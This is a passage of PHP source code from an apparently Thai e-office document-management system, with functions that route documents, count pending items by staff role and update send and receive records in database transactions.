$oRs->DrsInboxID=$oRs->DrsInboxID; $oRs->DrsstartDatePost=$oRs->DrsstartDatePost; $oRs->DrsendDatePost=$oRs->DrsendDatePost; $oRs->DrsSendBack=$oRs->DrsSendBack; $oRs->DrsSendBackDlcID=$oRs->DrsSendBackDlcID; $oRs->DrsfSendBack=$oRs->DrsfSendBack; $oRs->Save(); ?> } function searchDocSendToPs($DocID){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocReceiveSend.php"; include_once "../class/clsDocLinePosition.php"; include_once "../class/clsDocLineConfig.php"; include_once "../class/clsPerson.php"; include_once "../class/clsDepartment.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oRs = new DocReceiveSend($oC); $oRs1 = new DocReceiveSend($oC); $oRs2 = new DocReceiveSend($oC); $oDlc = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oPS = new person($oC); $oDP = new Department($oC); $oRs->SearchByDocIDStatus3($DocID); if($oRs->GetRecord()==1){ $oRs1->SearchByDrsFromDrsID($oRs->DrsID); while($oRs1->GetRecord()){ $oDlc->SearchByKey($oRs1->DlcID); $oDlc->GetRecord(); $oDP->SearchByKey($oDlc->deptId); $oDP->GetRecord(); $oPS->SearchByKey($oRs1->DrsReceivePersonId); $oPS->GetRecord(); if($oRs1->DrsReceivePersonId!='0'){ echo "- ".GetPrefix($oPS->prefixId).$oPS->fName." ".$oPS->lName; }else{ echo "สารบรรณย่อย"; } if($oRs1->DrsSendToPs=="Y"){ echo " [ส่งด่วน]"; } echo " "; if($oRs1->personId==0){ //echo " ".$oDlp->DlpName." "; echo " ".$oDP->deptName." "; } } } } function checkCountDoc($DocID){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocattatches.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDatt = new Docattatches($oC); $count=0; $oDatt->SearchByDocID($DocID); while($oDatt->GetRecord()){ $count++; } return $count; } function ff($personId){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocReceiveSend.php"; include_once "../class/clsDocuments.php"; include_once "../class/clsDepartment.php"; include_once "../class/clsDocLinePosition.php"; include_once "../class/clsDocLineConfig.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oRs = new DocReceiveSend($oC); $oRs2 = new DocReceiveSend($oC); $oDoc = new Documents($oC); $oDoc2 = new Documents($oC); $oDP = new Department($oC); $oDlp = new docLinePosition($oC); $oDlp2 = new docLinePosition($oC); $oDlp3 = new docLinePosition($oC); $oDlp4 = new docLinePosition($oC); $oDlc = new docLineConfig($oC); $oDlc1 = new docLineConfig($oC); $oDlc2 = new docLineConfig($oC); $oDlc3 = new docLineConfig($oC); $oDlp1 = new docLinePosition($oC); $Maxgroup=$oDP->SearchMaxDocGroup(); //108---------------------------------------ผู้ใช้ทั่วไป $i=0; $countdoc=0; $oRs2->SearchBypersonIdDocGroupDsID0($personId,$Maxgroup); while($oRs2->GetRecord()){ $oDoc2->SearchByKey($oRs2->DocID); $oDoc2->GetRecord(); $i++; } $countdoc=$countdoc+$i; if($i!="0"){ } //107---------------------------------------เจ้าหน้าที่สารบรรณ $oDlp->SearchByGpID(107); while($oDlp->GetRecord()){ $oDlc->SearchByPsPositionDlpID($personId,$oDlp->DlpID,$Maxgroup); while($oDlc->GetRecord()){ $oDlp1->SearchByKey($oDlc->DlpID); $oDlp1->GetRecord(); $oDP->SearchByKey($oDlc->deptId); $oDP->GetRecord(); $oDlc2->SearchByKey($oDlc->DlcID); $oDlc2->GetRecord(); $oDlp1->SearchByKey($oDlc->DlpID); $oDlp1->GetRecord(); if($oDlp1->DlpPID!="0"){ $DlcPS2=$oDlc2->DlcID; }else{ $DlcPS2=$oDlc3->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId); } $oDoc->SearchByDlcIDDocGroupPSDlcID2DsID0($oDlc2->DlcID,$Maxgroup,$DlcPS2); $i=0; while($oDoc->GetRecord()){ $oRs->SearchByDocGroupDocIDStatus0($Maxgroup,$oDoc->DocID); if($oRs->GetRecord()=="1"){ $i++; } } $countdoc=$countdoc+$i; if($i!="0"){ } } } //110---------------------------------------หัวหน้าสารบรรณ $oDlp2->SearchByGpID(110); while($oDlp2->GetRecord()){ $oDlc2->SearchByPsPositionDlpID($personId,$oDlp2->DlpID,$Maxgroup); while($oDlc2->GetRecord()){ $oDlp1->SearchByKey($oDlc2->DlpID); $oDlp1->GetRecord(); $oDP->SearchByKey($oDlc2->deptId); $oDP->GetRecord(); $oDlc->SearchByKey($oDlc2->DlcID); $oDlc->GetRecord(); $oDlp1->SearchByKey($oDlc->DlpID); $oDlp1->GetRecord(); if($oDlp1->DlpPID!="0"){ $DlcPS2=$oDlc2->DlcID; }else{ $DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId); } $oDoc->SearchByDocGroupDsID2($Maxgroup); $i=0; while($oDoc->GetRecord()){ $oRs->SearchByDocGroupDocIDDlcIDDrsReceiveDlcID2Status2($Maxgroup,$oDoc->DocID,$oDlc2->DlcID,$DlcPS2); if($oRs->GetRecord()=="1"){ $i++; } } $countdoc=$countdoc+$i; if($i!="0"){ } } } //111---------------------------------------หัวหน้าหน่วยงาน $oDlp2->SearchByGpID(111); while($oDlp2->GetRecord()){ $oDlc2->SearchByPsPositionDlpID($personId,$oDlp2->DlpID,$Maxgroup); while($oDlc2->GetRecord()){ $oDlp1->SearchByKey($oDlc2->DlpID); $oDlp1->GetRecord(); $oDP->SearchByKey($oDlc2->deptId); $oDP->GetRecord(); $oDlc->SearchByKey($oDlc2->DlcID); $oDlc->GetRecord(); $oDlp1->SearchByKey($oDlc->DlpID); $oDlp1->GetRecord(); if($oDlp1->DlpPID!="0"){ $DlcPS2=$oDlc2->DlcID; }else{ $DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId); } $oDoc->SearchByDocGroupDsID2($Maxgroup); $i=0; while($oDoc->GetRecord()){ $oRs->SearchByDocGroupDocIDDlcIDDrsReceiveDlcID2Status2($Maxgroup,$oDoc->DocID,$oDlc2->DlcID,$DlcPS2); if($oRs->GetRecord()=="1"){ $i++; } } $countdoc=$countdoc+$i; if($i!="0"){ } } } //112---------------------------------------ผู้อำนวยการ $oDlp2->SearchByGpID(112); while($oDlp2->GetRecord()){ $oDlc2->SearchByPsPositionDlpID($personId,$oDlp2->DlpID,$Maxgroup); while($oDlc2->GetRecord()){ $oDlp1->SearchByKey($oDlc2->DlpID); $oDlp1->GetRecord(); $oDP->SearchByKey($oDlc2->deptId); $oDP->GetRecord(); $oDlc->SearchByKey($oDlc2->DlcID); $oDlc->GetRecord(); $oDlp1->SearchByKey($oDlc->DlpID); $oDlp1->GetRecord(); if($oDlp1->DlpPID!="0"){ $DlcPS2=$oDlc2->DlcID; }else{ $DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId); } $oDoc->SearchByDocGroupDsID2($Maxgroup); $i=0; while($oDoc->GetRecord()){ $oRs->SearchByDocGroupDocIDDlcIDDrsReceiveDlcID2Status2($Maxgroup,$oDoc->DocID,$oDlc2->DlcID,$DlcPS2); if($oRs->GetRecord()=="1"){ $i++; } } $countdoc=$countdoc+$i; if($i!="0"){ } } } //115---------------------------------------รองผู้อำนวยการ $oDlp2->SearchByGpID(115); while($oDlp2->GetRecord()){ $oDlc2->SearchByPsPositionDlpID($personId,$oDlp2->DlpID,$Maxgroup); while($oDlc2->GetRecord()){ $oDlp1->SearchByKey($oDlc2->DlpID); $oDlp1->GetRecord(); $oDP->SearchByKey($oDlc2->deptId); $oDP->GetRecord(); $oDlc->SearchByKey($oDlc2->DlcID); $oDlc->GetRecord(); $oDlp1->SearchByKey($oDlc->DlpID); $oDlp1->GetRecord(); if($oDlp1->DlpPID!="0"){ $DlcPS2=$oDlc2->DlcID; }else{ $DlcPS2=$oDlc2->SearchDlc2($oDlc->DlcSeq,$oDlp1->DlpPID,$oDlc->deptId); } $oDoc->SearchByDocGroupDsID2($Maxgroup); $i=0; while($oDoc->GetRecord()){ $oRs->SearchByDocGroupDocIDDlcIDDrsReceiveDlcID2Status2($Maxgroup,$oDoc->DocID,$oDlc2->DlcID,$DlcPS2); if($oRs->GetRecord()=="1"){ $i++; } } $countdoc=$countdoc+$i; if($i!="0"){ } } } // if($countdoc==0){ echo ' '; }else{ echo $countdoc; } return $countdoc; } function searchDeptDlcID($DlcID){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocLineConfig.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDlc = new docLineConfig($oC); return $oDP->SearchDeptName($oDlc->SearchByKeyName($DlcID,'deptId')); } function updateAnIDdocumentDocPID0($DocID,$AnID){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocuments.php"; include_once "../class/clsDocReceiveSend.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDoc = new Documents($oC); $oRs = new DocReceiveSend($oC); $oDoc->SearchByDocPIDAnIDnot0($DocID); while($oDoc->GetRecord()){ $oDoc->SearchByKey($DocID); $oDoc->GetRecord(); $oDoc->Edit(); $oDoc->DocID=$oDoc->DocID; $oDoc->DocPID=$oDoc->DocPID; $oDoc->DlcID=$oDoc->DlcID; $oDoc->PtID=$oDoc->PtID; $oDoc->DtID=$oDoc->DtID; $oDoc->DslID=$oDoc->DslID; $oDoc->DclID=$oDoc->DclID; $oDoc->DsID=$oDoc->DsID; $oDoc->RsID=$oDoc->RsID; $oDoc->DocDateCreate=$oDoc->DocDateCreate; $oDoc->DocUserCreate=$oDoc->DocUserCreate; $oDoc->DocTypeNo=$oDoc->DocTypeNo; $oDoc->DocDate=$oDoc->DocDate; $oDoc->DocNo=$oDoc->DocNo; $oDoc->DocSubject=$oDoc->DocSubject; $oDoc->DocFrom=$oDoc->DocFrom; $oDoc->DocTo=$oDoc->DocTo; $oDoc->DocShortDesc=$oDoc->DocShortDesc; $oDoc->DocSpeedLevelDueDate=$oDoc->DocSpeedLevelDueDate; $oDoc->DocStart=$oDoc->DocStart; $oDoc->DocFinish=$oDoc->DocFinish; $oDoc->DocGroup=$oDoc->DocGroup; $oDoc->DocRef=$oDoc->DocRef; $oDoc->DocCircular=$oDoc->DocCircular; $oDoc->DocfCir=$oDoc->DocfCir; $oDoc->DocOther=$oDoc->DocOther; $oDoc->CertificatePs=$oDoc->CertificatePs; $oDoc->fDelete=$oDoc->fDelete; $oDoc->endDoc=$oDoc->endDoc; $oDoc->sendToPs=$oDoc->sendToPs; $oDoc->AnID=$AnID; $oDoc->DocRefAns=$oDoc->DocRefAns; $oDoc->DocRefAnsID=$oDoc->DocRefAnsID; $oDoc->DocstartDatePost=$oDoc->DocstartDatePost; $oDoc->DocendDatePost=$oDoc->DocendDatePost; $oDoc->DocMainPost=$oDoc->DocMainPost; $oDoc->DocGetPost=$oDoc->DocGetPost; $oDoc->DocShowInOut=$oDoc->DocShowInOut; $oDoc->DocDateGetPost=$oDoc->DocDateGetPost; $oDoc->Save(); $oRs->SearchByDocIDAnID($DocID); while($oRs->GetRecord()){ $oRs->Edit(); $oRs->DrsID=$oRs->DrsID; $oRs->DocID=$oRs->DocID; $oRs->DlcID=$oRs->DlcID; $oRs->DsID=$oRs->DsID; $oRs->personId=$oRs->personId; $oRs->PtID=$oRs->PtID; $oRs->DrsDocTypeNo=$oRs->DrsDocTypeNo; $oRs->DrsReceiveDate=$oRs->DrsReceiveDate; $oRs->DrsReceivePersonId=$oRs->DrsReceivePersonId; $oRs->DrsSendDate=$oRs->DrsSendDate; $oRs->DrsSendPersonId=$oRs->DrsSendPersonId; $oRs->DrsSendDlcID=$oRs->DrsSendDlcID; $oRs->DrsDocDueDate=$oRs->DrsDocDueDate; $oRs->DrsDlcIDCreate=$oRs->DrsDlcIDCreate; $oRs->DrsPsIDCreate=$oRs->DrsPsIDCreate; $oRs->DrsPropose=$oRs->DrsPropose; $oRs->DrsSign=$oRs->DrsSign; $oRs->DrsFromDrsID=$oRs->DrsFromDrsID; $oRs->DocGroup=$oRs->DocGroup; $oRs->DrsflagRead=$oRs->DrsflagRead; $oRs->DrsByPass=$oRs->DrsByPass; $oRs->DrsSend=$oRs->DrsSend; $oRs->DrsSendToPs=$oRs->DrsSendToPs; $oRs->DrsDelete=$oRs->DrsDelete; $oRs->DrsMainPs=$oRs->DrsMainPs; $oRs->AnID=$AnID; $oRs->DrsDocReceiveDate=$oRs->DrsDocReceiveDate; $oRs->DocRefAnsDate=$oRs->DocRefAnsDate; $oRs->DrsSendDocNew=$oRs->DrsSendDocNew; $oRs->DrsInboxID=$oRs->DrsInboxID; $oRs->DrsstartDatePost=$oRs->DrsstartDatePost; $oRs->DrsendDatePost=$oRs->DrsendDatePost; $oRs->DrsSendBack=$oRs->DrsSendBack; $oRs->DrsSendBackDlcID=$oRs->DrsSendBackDlcID; $oRs->DrsfSendBack=$oRs->DrsfSendBack; $oRs->Save(); } } } function searchnextpssend($pssend,$deptId){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocLineConfig.php"; include_once "../class/clsDepartment.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlc3 = new DocLineConfig($oC); $oDP = new Department($oC); $maxgroup=$oDP->SearchMaxDocGroup(); // echo '---------------ss'.$oDlc->DlpID; $oDlc->SearchByKey($pssend); $oDlc->GetRecord(); if($oDlc->DlpID=="5"){ $nextDlpID="6"; }else if($oDlc->DlpID=="6"){ $nextDlpID="5"; }else if($oDlc->DlpID=="11"){ $nextDlpID="12"; }else if($oDlc->DlpID=="12"){ $nextDlpID="11"; }else if($oDlc->DlpID=="15"){ $nextDlpID="16"; }else if($oDlc->DlpID=="16"){ $nextDlpID="15"; }else if($oDlc->DlpID=="18"){ $nextDlpID="19"; }else if($oDlc->DlpID=="19"){ $nextDlpID="18"; }else if($oDlc->DlpID=="28"){ $nextDlpID="29"; }else if($oDlc->DlpID=="29"){ $nextDlpID="28"; }else if($oDlc->DlpID=="30"){ $nextDlpID="31"; }else if($oDlc->DlpID=="32"){ $nextDlpID="33"; }else if($oDlc->DlpID=="33"){ $nextDlpID="32"; }else if($oDlc->DlpID=="34"){ $nextDlpID="35"; }else if($oDlc->DlpID=="35"){ $nextDlpID="34"; }else if($oDlc->DlpID=="36"){ $nextDlpID="37"; }else if($oDlc->DlpID=="37"){ $nextDlpID="36"; }else if($oDlc->DlpID=="38"){ $nextDlpID="39"; }else if($oDlc->DlpID=="39"){ $nextDlpID="38"; } $oDlc2->SearchDlcIDDlpID($nextDlpID,$deptId); $oDlc2->GetRecord(); return $oDlc2->DlcID; } function showsteplinedoc($searchDoc,$tab){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDocuments.php"; include_once "../class/clsDocReceiveSend.php"; include_once "../class/clsDocLineConfig.php"; include_once "../class/clsDocLinePosition.php"; include_once "../class/clsPerson.php"; include_once "../class/clsDepartment.php"; include_once "../link/function.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDoc = new Documents($oC); $oRs = new DocReceiveSend($oC); $oRs1 = new DocReceiveSend($oC); $oRs2 = new DocReceiveSend($oC); $oRs3 = new DocReceiveSend($oC); $oRs4 = new DocReceiveSend($oC); $oDlc = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oPS = new person($oC); $oDlc1 = new DocLineConfig($oC); $oDlp1 = new docLinePosition($oC); $oPS1 = new person($oC); $oPS2 = new person($oC); $oDP = new Department($oC); $oDP1 = new Department($oC); if($tab!=""){ $tab=" ".$tab; }else{ $tab=" "; } ?>
"; $oRs->DocID=$oRs->DocID; $oRs->DlcID=$DlcID; //echo "DlcID----".$oRs->DlcID." "; $oRs->DsID=$oRs->DsID; $oRs->personId=$oRs->personId; $oRs->PtID=$oRs->PtID; $oRs->DrsDocTypeNo=$oRs->DrsDocTypeNo; $oRs->DrsReceiveDate=$oRs->DrsReceiveDate; $oRs->DrsReceivePersonId=$oDlc->personId; //echo "DrsReceivePersonId----".$oRs->DrsReceivePersonId." "; $oRs->DrsSendDate=$oRs->DrsSendDate; $oRs->DrsSendPersonId=$oRs->DrsSendPersonId; $oRs->DrsSendDlcID=$oRs->DrsSendDlcID; $oRs->DrsDocDueDate=$oRs->DrsDocDueDate; $oRs->DrsDlcIDCreate=$oRs->DrsDlcIDCreate; $oRs->DrsPsIDCreate=$oRs->DrsPsIDCreate; $oRs->DrsPropose=$oRs->DrsPropose; $oRs->DrsSign=$oRs->DrsSign; $oRs->DrsFromDrsID=$oRs->DrsFromDrsID; $oRs->DocGroup=$oRs->DocGroup; $oRs->DrsflagRead=$oRs->DrsflagRead; $oRs->DrsByPass=$oRs->DrsByPass; $oRs->DrsSend=$oRs->DrsSend; $oRs->DrsSendToPs=$oRs->DrsSendToPs; $oRs->DrsDelete=$oRs->DrsDelete; $oRs->DrsMainPs=$oRs->DrsMainPs; $oRs->AnID=$oRs->AnID; $oRs->DrsDocReceiveDate=$oRs->DrsDocReceiveDate; $oRs->DocRefAnsDate=$oRs->DocRefAnsDate; $oRs->DrsSendDocNew=$oRs->DrsSendDocNew; $oRs->DrsInboxID=$oRs->DrsInboxID; $oRs->DrsstartDatePost=$oRs->DrsstartDatePost; $oRs->DrsendDatePost=$oRs->DrsendDatePost; $oRs->DrsSendBack=$oRs->DrsSendBack; $oRs->DrsSendBackDlcID=$oRs->DrsSendBackDlcID; $oRs->DrsfSendBack=$oRs->DrsfSendBack; $flagCommit = $oRs->Save(); //--edit propose $oRs1->SearchByKey($oRs->DrsFromDrsID); $oRs1->GetRecord(); $oRs1->Edit(); $oRs1->DrsID=$oRs1->DrsID; //echo "DrsID----".$oRs1->DrsID." "; $oRs1->DocID=$oRs1->DocID; $oRs1->DlcID=$oRs1->DlcID; $oRs1->DsID=$oRs1->DsID; $oRs1->personId=$oRs1->personId; $oRs1->PtID=$oRs1->PtID; $oRs1->DrsDocTypeNo=$oRs1->DrsDocTypeNo; $oRs1->DrsReceiveDate=$oRs1->DrsReceiveDate; $oRs1->DrsReceivePersonId=$oRs1->DrsReceivePersonId; $oRs1->DrsSendDate=$oRs1->DrsSendDate; $oRs1->DrsSendPersonId=$oDlc->personId; //echo "DrsSendPersonId----".$oRs1->DrsSendPersonId." "; $oRs1->DrsSendDlcID=$DlcID; //echo "DrsSendDlcID----".$oRs1->DrsSendDlcID." "; $oRs1->DrsDocDueDate=$oRs1->DrsDocDueDate; $oRs1->DrsDlcIDCreate=$oRs1->DrsDlcIDCreate; $oRs1->DrsPsIDCreate=$oRs1->DrsPsIDCreate; $oRs1->DrsPropose=$oRs1->DrsPropose; $oRs1->DrsSign=$oRs1->DrsSign; $oRs1->DrsFromDrsID=$oRs1->DrsFromDrsID; $oRs1->DocGroup=$oRs1->DocGroup; $oRs1->DrsflagRead=$oRs1->DrsflagRead; $oRs1->DrsByPass=$oRs1->DrsByPass; $oRs1->DrsSend=$oRs1->DrsSend; $oRs1->DrsSendToPs=$oRs1->DrsSendToPs; $oRs1->DrsDelete=$oRs1->DrsDelete; $oRs1->DrsMainPs=$oRs1->DrsMainPs; $oRs1->AnID=$oRs1->AnID; $oRs1->DrsDocReceiveDate=$oRs1->DrsDocReceiveDate; $oRs1->DocRefAnsDate=$oRs1->DocRefAnsDate; $oRs1->DrsSendDocNew=$oRs1->DrsSendDocNew; $oRs1->DrsInboxID=$oRs1->DrsInboxID; $oRs1->DrsstartDatePost=$oRs1->DrsstartDatePost; $oRs1->DrsendDatePost=$oRs1->DrsendDatePost; $oRs1->DrsSendBack=$oRs1->DrsSendBack; $oRs1->DrsSendBackDlcID=$oRs1->DrsSendBackDlcID; $oRs1->DrsfSendBack=$oRs1->DrsfSendBack; $flagCommit = $oRs1->Save(); if($flagCommit) $oC->CommitTrans(); else $oC->RollbackTrans(); } } } function UpdateDocSend($DlcID){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDepartment.php"; include_once "../class/clsPerson.php"; include_once "../class/clsDocLinePosition.php"; include_once "../class/clsDocLineConfig.php"; include_once "../class/clsReceiveSendType.php"; include_once "../class/clsDocType.php"; include_once "../class/clsDocuments.php"; include_once "../class/clsDocReceiveSend.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDP2 = new Department($oC); $oDP3 = new Department($oC); $oPS = new person($oC); $oUG = new umgroup($oCu); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlc3 = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oRSt = new receiveSendType($oC); $oDt = new doctype($oC); $oDoc = new Documents($oC); $oRs = new DocReceiveSend($oC); $oRs1 = new DocReceiveSend($oC); $oRs2 = new DocReceiveSend($oC); $maxgroup=$oDP->SearchMaxDocGroup(); $oDlc->SearchByKey($DlcID); $oDlc->GetRecord(); $oDlp->SearchByKey($oDlc->DlpID); $oDlp->GetRecord(); if($oDlp->DlpPID=="0"){ $nextSeq=($oDlc->DlcSeq+1); }else{ $nextSeq=($oDlc->DlcSeq-1); } $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); $DlcID2=$oDlc2->DlcID; $numcount=0; $numcount=$oRs2->SearchCountPreDocSend($DlcID,$DlcID2,$maxgroup); if($numcount>0){ $oRs->SearchPreDocSend($DlcID,$DlcID2,$maxgroup); while($oRs->GetRecord()){ $flagCommit = true; $oC->BeginTrans(); //---edit send $oRs->Edit(); $oRs->DrsID=$oRs->DrsID; //echo "DrsID----".$oRs->DrsID." "; $oRs->DocID=$oRs->DocID; $oRs->DlcID=$DlcID; //echo "DlcID----".$oRs->DlcID." "; $oRs->DsID=$oRs->DsID; $oRs->personId=$oRs->personId; $oRs->PtID=$oRs->PtID; $oRs->DrsDocTypeNo=$oRs->DrsDocTypeNo; $oRs->DrsReceiveDate=$oRs->DrsReceiveDate; $oRs->DrsReceivePersonId=$oDlc->personId; //echo "DrsReceivePersonId----".$oRs->DrsReceivePersonId." "; $oRs->DrsSendDate=$oRs->DrsSendDate; $oRs->DrsSendPersonId=$oRs->DrsSendPersonId; $oRs->DrsSendDlcID=$oRs->DrsSendDlcID; $oRs->DrsDocDueDate=$oRs->DrsDocDueDate; $oRs->DrsDlcIDCreate=$oRs->DrsDlcIDCreate; $oRs->DrsPsIDCreate=$oRs->DrsPsIDCreate; $oRs->DrsPropose=$oRs->DrsPropose; $oRs->DrsSign=$oRs->DrsSign; $oRs->DrsFromDrsID=$oRs->DrsFromDrsID; $oRs->DocGroup=$oRs->DocGroup; $oRs->DrsflagRead=$oRs->DrsflagRead; $oRs->DrsByPass=$oRs->DrsByPass; $oRs->DrsSend=$oRs->DrsSend; $oRs->DrsSendToPs=$oRs->DrsSendToPs; $oRs->DrsDelete=$oRs->DrsDelete; $oRs->DrsMainPs=$oRs->DrsMainPs; $oRs->AnID=$oRs->AnID; $oRs->DrsDocReceiveDate=$oRs->DrsDocReceiveDate; $oRs->DocRefAnsDate=$oRs->DocRefAnsDate; $oRs->DrsSendDocNew=$oRs->DrsSendDocNew; $oRs->DrsInboxID=$oRs->DrsInboxID; $oRs->DrsstartDatePost=$oRs->DrsstartDatePost; $oRs->DrsendDatePost=$oRs->DrsendDatePost; $oRs->DrsSendBack=$oRs->DrsSendBack; $oRs->DrsSendBackDlcID=$oRs->DrsSendBackDlcID; $oRs->DrsfSendBack=$oRs->DrsfSendBack; $flagCommit = $oRs->Save(); //--edit sign $oRs1->SearchByKey($oRs->DrsFromDrsID); $oRs1->GetRecord(); $oRs1->Edit(); $oRs1->DrsID=$oRs1->DrsID; //echo "DrsID----".$oRs1->DrsID." "; $oRs1->DocID=$oRs1->DocID; $oRs1->DlcID=$oRs1->DlcID; $oRs1->DsID=$oRs1->DsID; $oRs1->personId=$oRs1->personId; $oRs1->PtID=$oRs1->PtID; $oRs1->DrsDocTypeNo=$oRs1->DrsDocTypeNo; $oRs1->DrsReceiveDate=$oRs1->DrsReceiveDate; $oRs1->DrsReceivePersonId=$oRs1->DrsReceivePersonId; $oRs1->DrsSendDate=$oRs1->DrsSendDate; $oRs1->DrsSendPersonId=$oDlc->personId; //echo "DrsSendPersonId----".$oRs1->DrsSendPersonId." "; $oRs1->DrsSendDlcID=$DlcID; //echo "DrsSendDlcID----".$oRs1->DrsSendDlcID." "; $oRs1->DrsDocDueDate=$oRs1->DrsDocDueDate; $oRs1->DrsDlcIDCreate=$oRs1->DrsDlcIDCreate; $oRs1->DrsPsIDCreate=$oRs1->DrsPsIDCreate; $oRs1->DrsPropose=$oRs1->DrsPropose; $oRs1->DrsSign=$oRs1->DrsSign; $oRs1->DrsFromDrsID=$oRs1->DrsFromDrsID; $oRs1->DocGroup=$oRs1->DocGroup; $oRs1->DrsflagRead=$oRs1->DrsflagRead; $oRs1->DrsByPass=$oRs1->DrsByPass; $oRs1->DrsSend=$oRs1->DrsSend; $oRs1->DrsSendToPs=$oRs1->DrsSendToPs; $oRs1->DrsDelete=$oRs1->DrsDelete; $oRs1->DrsMainPs=$oRs1->DrsMainPs; $oRs1->AnID=$oRs1->AnID; $oRs1->DrsDocReceiveDate=$oRs1->DrsDocReceiveDate; $oRs1->DocRefAnsDate=$oRs1->DocRefAnsDate; $oRs1->DrsSendDocNew=$oRs1->DrsSendDocNew; $oRs1->DrsInboxID=$oRs1->DrsInboxID; $oRs1->DrsstartDatePost=$oRs1->DrsstartDatePost; $oRs1->DrsendDatePost=$oRs1->DrsendDatePost; $oRs1->DrsSendBack=$oRs1->DrsSendBack; $oRs1->DrsSendBackDlcID=$oRs1->DrsSendBackDlcID; $oRs1->DrsfSendBack=$oRs1->DrsfSendBack; $flagCommit = $oRs1->Save(); if($flagCommit) $oC->CommitTrans(); else $oC->RollbackTrans(); } } } function UpdateDocReceive($DlcID){ include_once("../../class/clsConnection.php"); include_once("../../class/clsDB.php"); include_once "../global.php"; include_once "../class/clsDepartment.php"; include_once "../class/clsPerson.php"; include_once "../class/clsDocLinePosition.php"; include_once "../class/clsDocLineConfig.php"; include_once "../class/clsReceiveSendType.php"; include_once "../class/clsDocType.php"; include_once "../class/clsDocuments.php"; include_once "../class/clsDocReceiveSend.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDP2 = new Department($oC); $oDP3 = new Department($oC); $oPS = new person($oC); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlc3 = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oRSt = new receiveSendType($oC); $oDt = new doctype($oC); $oDoc = new Documents($oC); $oDoc2 = new Documents($oC); $oRs = new DocReceiveSend($oC); $oRs1 = new DocReceiveSend($oC); $oRs2 = new DocReceiveSend($oC); $maxgroup=$oDP->SearchMaxDocGroup(); $oDlc->SearchByKey($DlcID); $oDlc->GetRecord(); $oDlp->SearchByKey($oDlc->DlpID); $oDlp->GetRecord(); if($oDlp->DlpPID=="0"){ $nextSeq=($oDlc->DlcSeq+1); }else{ $nextSeq=($oDlc->DlcSeq-1); } $oDlc2->SearchByNextDlcID($nextSeq,$maxgroup,$oDlc->deptId); $oDlc2->GetRecord(); $DlcID2=$oDlc2->DlcID; $numcount=0; $numcount=$oDoc2->SearchCountDocReceive($DlcID,$DlcID2,$maxgroup); if($numcount>0){ $oDoc->SearchByDlcIDDocGroupDlcID2DsID0DrsSendDate($DlcID,$DlcID2,$maxgroup); while($oDoc->GetRecord()){ $flagCommit = true; $oC->BeginTrans(); $oDoc->Edit(); $oDoc->DocID=$oDoc->DocID; //echo "DocID=".$oDoc->DocID." "; $oDoc->DocPID=$oDoc->DocPID; //echo "DocPID=".$oDoc->DocPID." "; $oDoc->DlcID=$DlcID; //echo "DlcID=".$oDoc->DlcID." "; $oDoc->PtID=$oDoc->PtID; $oDoc->DtID=$oDoc->DtID; 